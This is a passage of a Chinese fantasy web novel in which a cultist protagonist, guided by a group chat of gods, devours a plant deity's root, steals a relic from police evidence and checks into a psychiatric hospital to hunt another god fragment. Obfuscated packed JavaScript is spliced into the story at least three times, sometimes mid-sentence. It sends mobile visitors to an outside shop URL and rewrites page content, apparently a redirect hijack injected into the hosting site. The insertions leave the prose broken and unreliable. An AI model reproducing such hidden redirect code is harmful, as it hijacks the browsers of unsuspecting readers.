尤浅张开嘴一口咬住饱满的枝条,这次他不单单是饮用植物的汁液,他开始用牙齿撕咬、吞吃,连同外皮一起,要将它全部吃掉。 “咔嚓咔嚓……” 病房中除了两道咀嚼声就再也没有别的声响,宠物吃得快声音小,尤浅吃得慢声音大,两道声音合在勾勒出一副可怖的和谐来。 直到屋子里的所有植物躯干都彻底被吃完,尤浅的脸上终于呈现出尽乎癫狂的满足感。 可惜,从家乡顺来的道具用一点少一点…… 他坐在床上舔舐指尖,怔怔地看向窗外,对于这道开胃菜,他挺满意的。 方才他与宠物吃掉的仅仅是异类植物的一部分,它的本体不知道在哪里,它只是派出一条根系过来试探,可一条根系就让尤浅感到非常好吃了,那要是本体…… 它绝对是顿大餐! 希望这颗美味的“正餐”不要被吓跑。 尤浅侧躺在床上一裹被子,带着吃饱肚子的幸福感,在进入梦乡的最后一秒,他十分贴心的将群聊的视频功能开开。 就让那些无聊的神打发打发时间吧,相信过了这么久,祂们应该挺想念这个世界的。 尤浅蹭了蹭被子。 被吃下去的生命力量在他体内流动,一点一点地融入每一寸筋骨,这种充盈感也让他睡得更沉。 不知名的远方,趴在地上的【荒诞延续之四方】,也就是世界与诞育之神,同样也是尤浅信仰的神明,祂若有所感的将庞大的头颅微仰,目光透过数不胜数的星球,遥遥地看向尤浅身处的方向。 祂能感受到信徒体内活跃着一股陌生的能量,那股力量……是不是那几个家伙要找的来着?祂有些记不清了。 不过祂也没有过多的思考,过了片刻,就再度闭上眼睛,沉于地面。 4. 出院啦出院啦 叮当——叮当—— 尤浅顶着一头乱糟糟的头发,在被子里一顿拱,但脑子里的提示音急促又不停歇,他只好艰难地睁开酸涩、黏黏糊糊的眼睛。 就见此时天刚刚亮起。 按照时间线算,祭祀仪式在晚上九点开始,九点十分他们被执法者逮捕,十点开始审讯,凌晨一点半教主及其他教众出事,凌晨两点二十分尤浅进入医院,其中吃了顿夜宵,接近四点才安然睡下。 而现在…… 尤浅侧眸看向微微泛着橘黄色调的光线,深呼吸两下,他估计才睡了两个小时不到!! 他愤慨地攥紧拳头,随后锤在床上,因为没有休息好,一头金黄蓬松的短发都显得蔫耷耷的,没有那么色彩靓丽。 而群聊里面热闹非凡。 腐烂甜果:浅浅!打起来啦!好刺激呀~ 除此之外,腐烂甜果还发了一堆撒娇卖萌,想去看热闹的话,这些都被尤浅直接忽视。 独眼:嘘,嘘,他刚刚睡着没多久,咱们还是不要打扰他了吧? 子孙满堂:夜生活嘛,刺激一点很正常,年轻人,不睡觉也很正常的啦! 敲钟人:现在是时间五点四十五分整。 独眼:不是谁都像你一样“精力充沛”@子孙满堂 独眼湛蓝色的双眸里浮现一缕气愤,他气鼓鼓地鼓着腮帮子,一字一字地打出来。 随后他们又发生了一些激烈但友好的对话。 天下仙:他醒了。 这个“他”指向谁,大家心知肚明,群聊里消息刷新的速度这才被放慢下来。 尤浅从头看到尾,从他们说的无数废话中,东拼西凑地拼出一份完整的信息。 生命的分支力量和欲望的分支力量打起来了?尤浅有些茫然。 欲望的分支力量,他知道,可生命……哦,青年恍然大悟地一锤手心,是几个小时前被他当做夜宵啃了的植物。 怪不得里面蕴含着生命力量。 尤浅的左手腕已经被金属手铐磨得微微泛红,于是他用另一只手抓了抓本就乱遭遭的头发,无力地、深深地叹出一口气。 明明目标近在眼前,两个都是他要寻找的猎物,但他就是莫名的开心不起来。 “去看看教主他们的状态。”尤浅冷漠无情的把宠物也喊醒。 得到宠物不解但不得不遵从的反应后,他心里舒服多了。 可能是他起身的动作有些明显,门被扭开,连脸都看不清的一个人走了进来。 “你竟然没有发病?”显然,他对于尤浅的样子很是惊讶。 虽然经过布料的阻隔,声音有些沉闷,但尤浅还是认出来了这个熟悉的声音属于谁。 “早上好啊,队长大人。”尤浅虽然很想精力满满的和来人打招呼,但奈何起的太早,他的声音自带困倦效果。 队长站在床边,熬了一宿的他看起来比尤浅更有精神,他第一时间反驳尤浅的称呼。 “不是大人,叫我薛队长就好。”薛琪解决完称呼问题,又开始上上下下地打量着黑眼圈很是明显的青年,他啧啧称奇。 因为在昨天夜里,其余教众身上纷纷出现了类似教主的那种躯体反应,医院的专家们开了一宿的会议,但在有限的时间内,他们没能讨论出什么有效的信息与措施,只能暂且进行保守治疗。 而这个被当成祭品的青年却毫无发病的异常与前兆,这也佐证了青年与那帮邪教徒牵连并不深。 “哦?他们都发作了吗?”薛琪没有明说,但尤浅还是从他的反应里猜出来了什么。 他乖巧地歪了歪脑袋,先是在心里找了找感觉,再十分狂热地举起那只没被束缚的胳膊。 “这就是神灵的惩罚,他们辜负了神对他们的信任——!” 被贴脸开大的薛琪盯着在半空中攥成拳头的手,终于没忍住的向后退出一步。 他用厚重的手套按了按面罩:“你是真的执迷不悟。”不过他此时已经懒得叫人给尤浅上思想课,于是他只是嘱咐着。 “你的嫌疑已经初步解除,不过你还要在这里多待几天,观察一□□内是否有相关传染性疾病的病毒,你知道的,病毒有潜伏期,所以……”他抬手意思意思地拍了拍空气。 “老实的休息吧,先别惦记着你那个什么信仰了。” 尤浅对此不置可否。 待到薛琪把他的手铐摘下,尤浅揉了揉被磨红一圈的皮肤,缓慢地转动有些僵硬的手腕,让骨头发出咯吱咯吱的声响。 门被薛琪关上,尤浅维持的假面在霎那间消失不见,他懒洋洋地呼出一口气,双腿夹着松软的被子往后一靠。 打开屏幕就开始和群聊里的神明对话。 有钱:「求生欲」和生命分支力量谁打赢了? 他查找了所有记录,都没有提及打斗的结果,果然这些神很不靠谱。 想到这里,尤浅突然觉得自己有些冒昧,他眨巴眨巴眼睛,忙换个思路。 强行把关注点扭到……嗯!生命力量好吃上面! 一直在关注战局的敲钟人回答道:谁也没赢,生命的分支力量本体不在这里。 他继续打字说着:这不是重点,咱们的第一目标是代表「求生欲」的铜牌。 还有人记得目标真是一件可喜可贺的事情,尤浅没什么感情地捧读一声:“是了,任务物品还在局里呢!” 他把被子掀开,找了找地面上自己的鞋子,把睡了一宿有些褶皱的衣服捋顺。 昨天来医院太晚,他都没有换身舒服的衣服,还是穿着常服睡得觉,估计今天会有病号服的发放。 “吱滋~”类似黑煤球、小病毒的宠物贴着门,它犹如穿过一道水流般,将玻璃捣鼓出一小片涟漪,最后咕噜噜一路滚到尤浅面前。 它黑乎乎的身体里裂开一个口子,里面传来像小孩一样的声音:“那些人臭烘烘,体内全都烂死了,感觉看见了魔里脚炖汤,估计今天就要全都死翘翘咯。” “嘿?不准你用食物来做比喻!”尤浅不悦地弯起手指敲到宠物身上。 黑色的身体顺着力道凹陷,随后又□□弹弹地回弹,宠物窸窸窣窣地挪动两下:“好叭,但是真的很……”它在尤浅危险的眼神中,咽下辩解的话。 它的两根触须在空中一卷,揪住自己裂开的口子往中间一拉,含糊不清地道:“我闭嘴。” 尤浅撇嘴,魔里脚炖汤怎么了,虽然卖相糟糕了一点,但明明很好吃啊! 他转了转眼睛,笑了一声:“沙鲁洼,去昨天待的地方,把牌牌给我偷出来。” 宠物沙鲁洼的触须一抖,它小心翼翼地看了看自己主人的表情,随后整个球都垮了下来,“好的。” 它准备顺着来时的路钻出去,身子已经卡出去一半,“啪叽”一个圆形物体狠狠地撞进它的后半边身子。 尤浅收回手,很满意自己的准头。 一句类似恶魔低语地命令响起:“记得要伪造一下哦,不要让那些人发现不对。” 沙鲁洼蠕动两下,把圆形物体包裹好,触须无精打采地耷下来,又是一声:“好的。”房间内最后一缕黑色边角消失。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299332|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 独眼顺了顺自己的白色胡须,有些不确定的在群里发言:它真的没问题吗?我是说,嗯……它不会搞得一团糟吧? 有钱:不会,它是【编织星云的蓝雾】的眷族,它会使用道具。 那个圆形物品是一次性的复制道具,足以让沙鲁洼顺利完成任务。 说完,尤浅觉得自己已经将事情全部落实,于是他大大方方的任由自己陷入软乎乎的床褥。 外面的太阳仍然构不成刺破窗帘、使房间都亮起来的程度,他便毫无负担地投入梦境的怀抱。 群聊里拨通的视频跨过遥远的距离。 屏幕一端是睡得面容祥和的青年,而另一端则是身处一片火山峡谷里的神灵们。 山洞里的腐烂甜果率先无聊地打起哈欠,祂甜甜地挽住敲钟人的手臂,轻轻地晃了晃:“走嘛,走嘛,咱们去浅浅的世界转一转吧~” 敲钟人低头记下尤浅那边的时间刻度,鼻尖是一阵阵浓郁的果香,祂点点头,宽大的手掌按上腐烂甜果的脑袋:“把你的气味收收,那些家伙可不喜欢祂们的地盘被标记。” …… “主人,主人……” 美好而色彩斑斓的梦境破裂,一道细微的声音唤醒正沉浸梦中、乐不思蜀的主人公的意识。 尤浅从鼻腔里挤出模模糊糊的哼声,眼皮沉甸甸地颤抖几下,最后半眯着眼眸侧头,直直的对上黑煤球。 他懒散无力地抬手捏了捏沙鲁洼潮湿柔软的身体,声音慵懒地拖长:“啊……你这么快就回来了啊……” 沙鲁洼被捏的声调走样:“呜唔,已经替换好了。”它复制了一个新的吊牌放进证物袋里,保准人类看不出真假。 它“噗”的从看不出哪里是头、哪里是尾的身体里,吐出一块半根手指那么大的铜绿色吊牌。 尤浅随手把沙鲁洼扔掉,拿起吊牌,拎着牌子举到眼前端详。 沙鲁洼像是一个黏黏包,砸到墙上发出沉闷的一声,撞成饼状地往下滑。 尤浅困倦地揉了揉眼睛,眨出两滴生理性泪水,这才从睡意里彻底脱离。 他盘腿坐在床上,指腹摸过吊牌上凹凸不平的花纹,这玩意倒是别致,可惜,里面蕴含的能量已经不多了。 “啧,”尤浅一口咬在牌子上,随后又不开心的把吊牌吐出来,捂着腮帮子有些幽怨,“好硬。” 天下仙及时发来消息,晚上袭击他的藤蔓力量被解析出来了。 天下仙:生命的分支力量「枯萎」,东经73°26分,北纬31°45分。 祂总是一如既往的言简意赅,时不时的、在意想不到的地方冒出来,说出一句有用的话,然后又消失不见。 尤浅点点头:“哦,等我出院的。”他需要在这个世界待很久,该注意还是要注意一下。 不过执法者和医院总不能一直扣着他,想来……也就这两天的事了。 下一个目标,确定! 尤浅弯了弯眼睛,招招手,示意自己的小宠物过来。 待它慢悠悠地来到面前,尤浅便将吊牌毫不留情地怼进沙鲁洼的体内,连带着他的半个手掌也塞了进去。 沙鲁洼黑黢黢的身体里包裹着一个次元袋,次元袋里面可以塞下许许多多的东西。 尤浅笑嘻嘻地转了转手指,摸到次元袋狭小的入口,他伸手一推将物品埋在深处,嘱咐着:“保管好这个物品,等里面有新的力量了,记得喊我。” 而掉入黑暗的铜牌在以缓慢的速度凝聚「求生欲」的力量,它本能的要为下一次蛊惑、改造生物做准备。 5. 目标——瑞华市 晚上,敬职敬业的护士们开始挨个病房巡查。 “滴滴滴——” 被严格管控的楼层,各个房间内都传来仪器那尖锐、连绵不断的警示音。 它们此起彼伏,直叫人觉得刺耳,猩红色的灯光亮起,最后一轮抢救开始,但终究人力无法挽回早该死去的□□。 教主与其他教徒在这一晚,相继离去,没有一个人撑到黎明。 当阳光撒下,空中的灰尘清晰可见,蜷缩在废弃工厂里的一个黑影匍匐在阴影中,撑着腐烂的手,祂抬起那双充满死寂的眼睛。 “求生欲……消失。” …… 几天后。 薛琪把怀里的东西都倒在尤浅的病床上,看着已经换回自己衣服的青年:“你的证件已经帮你办完了,以后不要乱参与这种事情。” 他盯着青年笑嘻嘻的脸,面色冷峻肃穆,声音更为低沉地警告着:“你该希望你不会再见到我,不然下次你就没这么好运了。” 薛琪看人很准,他自第一眼见到青年就觉得他与这个世界格格不入,现在,他依然这么觉得。 “好的,薛队长!”尤浅一本正经的向他竖起大拇指,随后收拾东西,在队长犀利的目光下离开。 站在街边,尤浅将自己的手掌摊开遮住眼眉,太阳照的他全身上下都热烘烘的,眼睛更是有些睁不开。 太阳,月亮,真是神奇啊。 尤浅感叹,在他的家乡里,硬要找出两个和月亮、太阳相似的事物,也就只有那两颗始终挂在天上、照亮世界的半圆形天体。 很奇妙的是,即便是在他的家乡,那颗橙黄色天体的名字也同样是“太阳”,而那颗紫蓝色的则是“月亮”。 “那么接下来的目标是——” “瑞华市!” 尤浅在街边自问自答,把自己逗的咯咯笑出声来,全然不顾身边经过的人会不会投来异样的眼神。 薛琪抱胸站在窗前,垂着脑袋看着下面笑得开心的青年,陡然升起一种,他果然不太正常的念头。 尤浅笑够了,轻咳两声,边走边认真地思考能不能就这么一路走到目的地,但果然距离还是太长了些,于是第一个问题就出现了。 ——他没有钱,一分钱、一个钢镚都没有。 就算神明能把他从一个世界送到另外一个世界,可其它的,例如钱财、衣物等东西,神明也无能为力。 尤浅托着腮帮子坐在台阶上,他百无聊赖地注视着不同款式的鞋子一个一个的从他眼前路过。 不,等等! 他的脑子里突然划过一个好想法。 邪教已经覆灭,那他作为仅存的邪教成员,组织的财产按道理来说是默认归他了,对吧? 尤浅越想越觉得合理,一双眼睛也亮闪闪地明亮起来,像是缀满了星星。 他拍去衣角上的灰尘,顿时觉得他很幸运,而其他人也很幸运,毕竟尤浅已经想好了,实在不行他就要“借”点钱来应急,相信大家不会在意的。 邪教的聚集点在偏僻、人烟稀少的地方,而管控局却在市中心,这也就意味着尤浅并不能马上拿到钱就离开,他仍需要步行一段数量可观的道路。 于是太阳与月亮交班,待星星点亮夜空,尤浅也终于看见了熟悉的烂尾楼。 在烂尾楼里,他和教徒养的那几只鸡鹅猫狗朝夕相处,而现在……尤浅深呼一口气,嗅到一股动物臭味。 一条只剩半截尾巴的大黑狗呜呜地扑到尤浅脚边,短小的尾巴来回蹭着、摇摆。 它肉眼可见的很热情。 “哦,小老二,你还,你们都还活着啊!”尤浅笑着打招呼 ,却说到一半,他注意到远处徘徊的几抹黑影,于是改了改自己原本想说的内容。 他看着大黑狗用厚重的爪子攀着他的裤腿,努力往上蹦。 尤浅垂首撸了把狗头,提踝在大黑狗s型的走位下,艰难地往前方走去,还不等尤浅表示抗议,“嘎嘎!”一只十分灵活的大白鹅不知道从哪里窜出来,一口叼到狗子脸上。 小老二身上的狗毛顿时少了一撮,它委委屈屈地僵住身子,不敢再往尤浅腿上扑。 见大白鹅挺胸抬头地站在自己面前,尤浅弯了弯眼眸:“大白!” 远处那几只黑影也打消自己的警惕,纷纷往尤浅这边跑来。 又是一只白鹅扑棱着翅膀降落,它的体型比大白要小一圈,只见尤浅点了点新来的大鹅,关心道:“小白,你和大白生蛋了吗?” 闻言,本想蹭蹭尤浅手指的小白,它那双黑豆豆眼一眨,缩回脖子,拍拍翅膀,又是一溜烟地钻回楼里。 “哎?”尤浅不解歪头。 大白一伸脑袋咬住尤浅的裤脚,头左右一摆,黑眼睛里仿佛露出来些许的埋怨,它没用力,待到青年也摸了摸它的脑袋后,它才松开自己的利喙,急哄哄地追随小白进楼。 其中这一路还夹杂着大白急切的“嘎嘎嘎”声音,与楼里呼应的“嘎——”声。 这一幕,逗的尤浅笑弯了腰,还是热乎乎的小老二和不知什么时候,站在黑狗背上的小橘猫唤回他的注意力。 “汪汪,汪!” “喵~” “是啦,见到你们太开心啦,都忘了正事。”尤浅一秒收起笑容,一本正经地点点头:“走,去把你们前主人的钱找出来。” “咯咯!”摇摇摆摆的母鸡扑到尤浅怀里,心安理得的想让尤浅抱着它走。 猝不及防被羽毛戳到脸颊的青年叹了口气,眼睛深处仍是一片冷漠,但他并没有把母鸡扔下,而是无奈又亲昵地拍了拍怀里肉墩墩、被羽毛覆盖的身体。 “好了好了,乖。” 几只动物簇拥着青年往昏暗无光的大楼里走去,被月光拉长的影子渐渐地融入庞大楼影。 墙面上遍布被油漆涂画出的纹路,破烂布条与各种动物骨头凌乱地撒了满地。 尤浅踩上去,它们咯吱咯吱作响。 教主的房间好像是……尤浅辨别了一下方向,那边的吧?他望向光秃秃的楼梯后面,墙倒了一半、裸露出来的房间。 当真是破破烂烂,很符合邪教徒都是阴沟老鼠的刻板印象。 尤浅一只手托着母鸡,另外一只手在各种邪教书籍、仪式用品里翻来翻去,还有房间角落也没有被他落下。 沙鲁洼同样在四处转来转去,不过消极怠工的它,真的只是在转来转去。 “汪呜!”小老二用湿润的鼻子蹭了蹭尤浅的手臂,脑袋也顶着尤浅。 尤浅拍了拍手上的灰,疑惑地侧眸,却发现大黑狗的后面,小橘猫、大白和小白纷纷撅着屁股对着墙角挖着什么。 尤浅过去把它们扒拉到一旁,只见那一块地砖翘起边边,比其余地砖高出几毫米,于是他将手指扣住地砖的边角,指尖扣紧,施力向上抬起,把整个地砖都掀开,露出被尘土覆盖的一层金钞。 “咳咳咳。”青年挥手扇动着鼻子前面的空气,自地面升腾而起的一团灰尘散去。 “耶——!”人类不算干净的手与大白的翅膀在空中相碰。 随后他又挨个和小橘猫、小白和小老二击爪,就连母鸡也凑热闹般,用它的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299333|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喙碰了碰尤浅的手指。 尤浅吸了吸鼻子,不太高兴的用脚尖点点自己的宠物:“它们可比你有用多了。” 感受到主人嫌弃的沙鲁洼不乐意了,它顺着尤浅的裤腿一路往上爬,讨好般的用身子把尤浅弄脏的手掌包裹起来。 潮湿冰凉、似液体又的确是实体的触感裹贴着青年每一根指节,沙鲁洼蠕动蠕动,软滑地贴着指缝、手指,游过了每寸皮肤。 过了几秒,沙鲁洼宛若被融化了,像沙子一样滑到地面,再向上一看,半空中尤浅的手已经干干净净了。 于是干干净净的手在空中晃晃,示意沙鲁洼去数钱。 一张,两张……十张? 还不懂这些钱财价值的尤浅露出遗憾的眼神,沙鲁洼叼着钱,贴心地攀爬上来,把钱放进尤浅手里。 尤浅又数了一遍,确实是十张。 独眼:十张,应该……够路费吧? 离开世界八十多年的神灵也不太明白此时的物价如何,不过就算当时祂们没有离开,按照祂们的性格也不会关注人类的货币体系。 腐烂甜果:实在不行,就抢吧!就当是信徒提前给神明的供奉啦! 腐烂甜果很看得开,也很霸道。 尤浅默默点头,把金钞塞进沙鲁洼体内,又挨个摸了摸各个动物脑袋,很有耐心地道:“我要走咯,以后有时间说不定会回来看你们,记住,不要瞎跑。” 这些动物和「求生欲」铜牌接触过,它们已经不同于普通的动物,在具备一定价值后,尤浅这才对这些动物升出一丝想要占据的感觉。 对于自己的私人财产,尤浅向来不吝啬给予一些好脾气。 动物们不舍地叫了几声,目送尤浅的背影消失,才各自散开去做自己的事情。 尤浅所处的废弃烂尾楼太偏,而此时已经是深夜,路过的车辆几近于无,他又走了三个多小时快四个小时,才到达市区边缘,挥手招来一辆出租车。 然后等他摸出金钞想要交车钱时,差点被惊恐的司机拉到警卫局里找警卫队。 于是本打算后半夜睡一觉的尤浅,被好心的司机拉着手好一番叮嘱,嘱咐完,他还是不放心,于是又亲自带尤浅去24小时营业的银行办理业务,直到办完才罢休。 …… “哈啊……”尤浅站在铁轨两侧,有气无力地垂着脑袋,此时他的裤兜里沉甸甸的,里面装着他新买的手机。 可他却丝毫没有玩手机的精神。 他好困啊……又是一宿没睡…… 尤浅的眼眸懒散地眯起来,听着身边人类叽叽喳喳的交谈声。 “嘟嘟——” 高铁飞快地入站停下,尤浅摇摇晃晃地往上走,他凭借最后的清醒找到位置,并给乘务员看完票,就昏昏沉沉的把脑袋撞到玻璃上,打算好好地补一觉。 “这车是到榛县的吗?噢噢不到榛县啊,嗯?发车……在另一个检票口……不!”有人灰头土脸地拎着一大袋子鱼苗下车狂奔。 “嘿?谁家的小孩啊!?”有小孩在走道里乱跑乱吼,被不耐烦的大人怒斥,其中又掺杂小孩委屈哭嚎的声音。 “哈喽,大家一起燥起来!” 有动感的音乐与主播激动的声音从尤浅身侧响起,它们钻出手机,非常的有存在感:“这家动物主题的酒吧,主播真不是硬吹!谁来谁知道……” 乘务员的声音也随之响起,她在试图维护秩序:“大家安静一下,我们马上就启程了,请大家及时落座。” 尤浅就在杂乱的环境里意识渐渐脱离躯壳,最终飞入梦乡。 6. 你好啊,精神病院 直到车停下,他才伸伸腰,揉揉眼睛在乘务员温柔地提醒下离开车厢。 他携带着别人看不见的行李——沙鲁洼,混在大包小包的乘客中有些突兀,但行色匆匆的人们并没有注意到这一点。 尤浅在出租车上又补了一觉,等看见精神病院大门,这才勉强提起精神。 ——云叶疗养院。 一行有些掉漆的牌匾歪歪扭扭地挂在大门上,尤浅装模作样地捏着下巴,试图分析着。 “字迹古朴陈旧,大门与栏杆倒是锃光瓦亮,看上去毫无铁锈,说明……” 尤浅停顿一秒,果断地道:“这家精神病院在挂羊头卖狗肉!不正常哦,非常不正常。” 缩在尤浅影子里的沙鲁洼默默吐了吐舌头,他瞥向在边上探头探脑的门卫,收回目光把自己团地更小了一点。 尤浅哼了一声,掏出新买的手机,凑到一脸不想和他说话的门卫面前:“我想去里面看看,这个怎么进去啊?用哪个什么,额……” “预约吗?对,预约!需要吗?”他想了想那个新学的词汇是什么,随后又凑近了些,眨巴着眼睛询问道。 本来一脸不忿的门卫眼神直接变了,他从这位青年下车就一直在关注他了,还以为是找茬的,没想到是脑子有病啊。 门卫略有些同情地接过手机,是病人就没事了,谁家病人不讨厌医院呢!说两句就说两句吧, “没有家属跟你一起来吗?”门卫边打开小程序,边和尤浅闲聊。 尤浅“唔”了一声,摇了摇脑袋:“我一个人来的。”他不知道家属是什么意思,但后面的“一起来”他听懂了。 他非常肯定地点点头又重复一遍,“一个人哦!”沙鲁洼不是人。 不知道为什么,说完这句话,尤浅觉得门卫的眼神更奇怪了。 门卫颇为沧桑地叹气,很利落地点进医生选项,预约现在的时间。 等预约成功的页面弹出,他把手机递回去,贴心地指指方向:“好了,快进去吧,别在外面晃悠了啊。” 尤浅接过手机,放弃追问门卫在想什么的想法,他的直觉告诉他,门卫的想法对他没有危害,没有必要了解无所谓的事情。 于是门卫便以一种长辈慈爱的目光,目送尤浅十分乖巧地应声,懒懒散散的从侧门走进去。 “3层306房间啊。”门卫大哥的声音从后面传来:“放心,里面的医生护士都特别好,你一定可以痊愈的!” 尤浅觉得门卫好像误会了什么,而独眼也有类似的感觉,祂在群里打出一串省略号。 透过屏幕看见这幕的神仙们心中不约而同地浮现出一句话:疯子星球名副其实,这刚第一面就被人看出他们自身独特的气质了…… 戴着白手套的护士将尤浅送上电梯,三层到了,尤浅瞅准门牌号,大大咧咧的直接推门而入。 那扇被刷成奶油黄色的办公室门豁然开朗,戴着眼镜伏在桌子前,认真写着什么的医生听见动静抬了抬眼,他茫然地看着尤浅在他还没出声的情况下自然落座。 “啊?您是……”医生手里攥着笔,很有礼貌的与突然闯入他办公室的“不速之客”打招呼。 尤浅肆意的往后一靠,脚尖点着地面,椅子被他转得呼呼快,其中夹杂着他雀跃的声音:“是门卫大哥让我来这里的。” “喏,预约记录~”尤浅随手把手机丢到桌面上,随后继续自顾自的玩得开心。 医生则好脾气地捏紧笔杆,挤出一抹笑容,半站起身来,伸手把手机挪到眼前。 他推了推眼镜,刚想问密码是什么,然后他就发现这部手机根本就没有密码。 直接进入预约记录页面的医生沉默了。 他谨慎且努力地用一种柔和的目光上下打量着尤浅,尽可能的让尤浅感受到由内而外散发的善意。 “嗯,我明白了。”医生扯出一幅笑容可掬的面孔,把手机反扣在桌面,将上面的档案收到一旁,创造出一个较为整洁干净的环境。 他面不改色地看着像陀螺一样转个不停的尤浅与座椅,声音被放得轻柔轻缓:“或许你想和我聊些什么?” 尤浅置若罔闻,依然有规律的用脚尖点地,推动椅子不断地旋转。 见状,医生并没有继续追问,或是命令他停下,而是将笔帽打开,笔尖触碰白纸,发出脆脆的沙沙声,于是足足有三分钟,整个房间都没有人讲话。 而尤浅向来是随自己心情行事的人,他好奇地停下转动,蹬着椅子靠近桌面,抻长脑袋地瞧医生在写什么。 却发现白纸被一堆彩色的线条覆盖,尤浅站起来变换着方向瞧,甚至还站到医生旁边,但无论哪个方向,他辨认不出医生到底画的是什么。 医生不急不躁的用一个圆圈为这副“画作”收尾,他用手珍惜地摸了摸黑白色的杂乱线团,笑着侧过脑袋注视着尤浅:“你觉得我在瞎画吗?” “嗯……” 尤浅的眼底浮现出一缕思索,医生的问话让他觉得颇为新奇,曾经知识塔的那些人也问过他相关的问题。 那是一个勾勒着玄秘且纷乱图画的房间,四面墙壁都密密麻麻地涂满蓝色星云与无数宇宙星辰的符号。 尤浅坐在空荡荡的房间里,目光涣散地盯着不远处由一个黑色支架托举着的水晶球。 蓝紫色的水晶球里时不时的飘起几条深蓝色雾气,在煞白的灯光下,闪着舒缓的光芒。 水晶球后面,被蓝色长袍笼罩的老人用沧桑沉稳的声音慢条斯理的讲着神创记。 他在歌颂其主的伟大,传递给尤浅一些万物真理——从其主身上以疯了与死亡为代价,观察、聆听来的知识。 那些知识枯燥无味,总是掺杂着大量抽象、不可理解的事物,尤浅晃着双腿,跟随蓝袍老人地指示认真地、仔细地、一眼不错地观摩水晶球里的变化。 最后蓝袍老人问:“你觉得水晶球里的图像是随便出现的吗?” 那么当时正确的回答是什么呢…… 在医生面前,青年露出一抹虔诚的笑容,他抬头望向窗外,以一种随性慵懒,但又诡异到真诚的语气说道:“啊,当然不是。” 虽然水晶球里浮现的图像和医生绘画出来的图画都是一样的难懂,那些在尤浅眼里全都是无用的毛线团。 他很想说:没错,我觉得你就是瞎画的,但…… 他记得蓝袍老人是这么说的:“那是神灵的恩泽,是神灵降下的神谕,也是神灵对于蒙昧无知人类的教导。” “你在向我传达一些信息,而这些信息是你信奉的神灵向你传递的内容。”尤浅最终选择相信知识塔长老给出的标答,他看向笑容不变的医生,认真地点头。 “我知道,我可以理解,你的信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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医生没有强求,想了想,他又在本上加上一行字:经过交谈与观察,病人情绪多变,对宗教信仰较为看重,初步诊断为宗教妄想症。 “现在情况是这样,您能来到这里就说明您是信任我们医疗水平的,您如果入住我们病院,我们保证一定尽最大努力的帮助您恢复,而在我们病院……” 医生将医院的福利待遇、收费,以及治疗的过程娓娓道来。 听得尤浅心不在焉,最后从大段内容里总结出一句话——那就是医生在诚恳地邀请他入住。 好了,目的达成,尤浅本来也想仔细地探查这家精神病院来着,医生这么主动,就相当于猎物主动往枪口上撞,而尤浅也懒得拒绝。 于是他直接一点头,非常爽快地同意了。 医生也是个利落人,动作麻利的帮他缴费,又按铃示意护士将尤浅带走。 整个过程非常顺畅,不到半个小时,尤浅就换好病号服,站在病房里,和一个坐着的病人面面相觑。 “又有傻子来了啊。”尤浅的室友啧啧摇头,脸上夸张地咧出一个笑容:“哈喽,我是祝臬,傻子别来烦我。” 尤浅漫不经心地打量着这位青年,目光闪了闪,转而笑眯眯地用黏黏糊糊的口吻念出他的名字,丝毫没有因为祝臬的不客气而生气。 “你好啊,祝臬。” 7. 入院第一天,惹事 同时尤浅在心里补充着:你好啊,「枯萎」 “好恶心……”祝臬被尤浅的眼神恶心到了,那眼神看着他就像是看着一盘菜……傲慢又无礼,祝臬觉得自己被忽视了。 尤浅继续笑眯眯地看着祝臬,活像个不怀好意、要把祝臬体内的器官拆了卖掉的坏人:“你好失礼啊。” 他在祝臬身上闻到了邪神的气息,一想到之前尝到的美味,他就开心得不得了,根本生气不起来。 如果是正常人早该看出尤浅的笑容有多么敷衍,都是浮于表面的笑意。 可祝臬是个精神病人,他眼中的厌烦更浓郁了些,直接任性地抱着枕头砸向尤浅:“快闭嘴吧!” 白色的物体袭来,尤浅轻松地接住软软的枕头,脸上的笑容咧的更大了,这家伙……他刚要再开口说些什么,护士就推门而入。 她看着屋内剑拔弩张的氛围,不悦地敲击床边上的金属栏杆,对着这两个病人警告道:“你们要做什么?都给我老实一点!” 尤浅眯了眯双眼,掩去睫羽下的寒意与审视 ,又嘻嘻哈哈的向上举了举枕头:“我们在玩扔枕头游戏~姐姐要来一起玩吗?” 青年站在房间中央,屋内的采光不错,从窗外透进来的自然光模糊了他的脸部轮廓,再加上他本就年龄不大,与略显清瘦的身躯结合,便给人一种没有什么攻击力的感觉。 王护士在这里的时间不长,勉强还算是属于新人范围,但也有两三年的工龄。 新入职时,她还带着对精神病人的同情与耐心,可这些早就在病人一而再、再而三的找事后消耗殆尽。 她看着尤浅毫无阴霾、充满朝气的微笑,还有在阳光下格外金灿灿的头发。 尽管知道很少有病人是乖巧听话的,可在不知不觉中,她心里那块顽固的石头却开始微微松动,面上紧绷的唇角也在慢慢放松。 “在房间里不可以打闹,快把枕头放回去,过来吃药吧。”她的声音比进来前温柔了一些。 吃药?尤浅的动作有些迟疑,药? 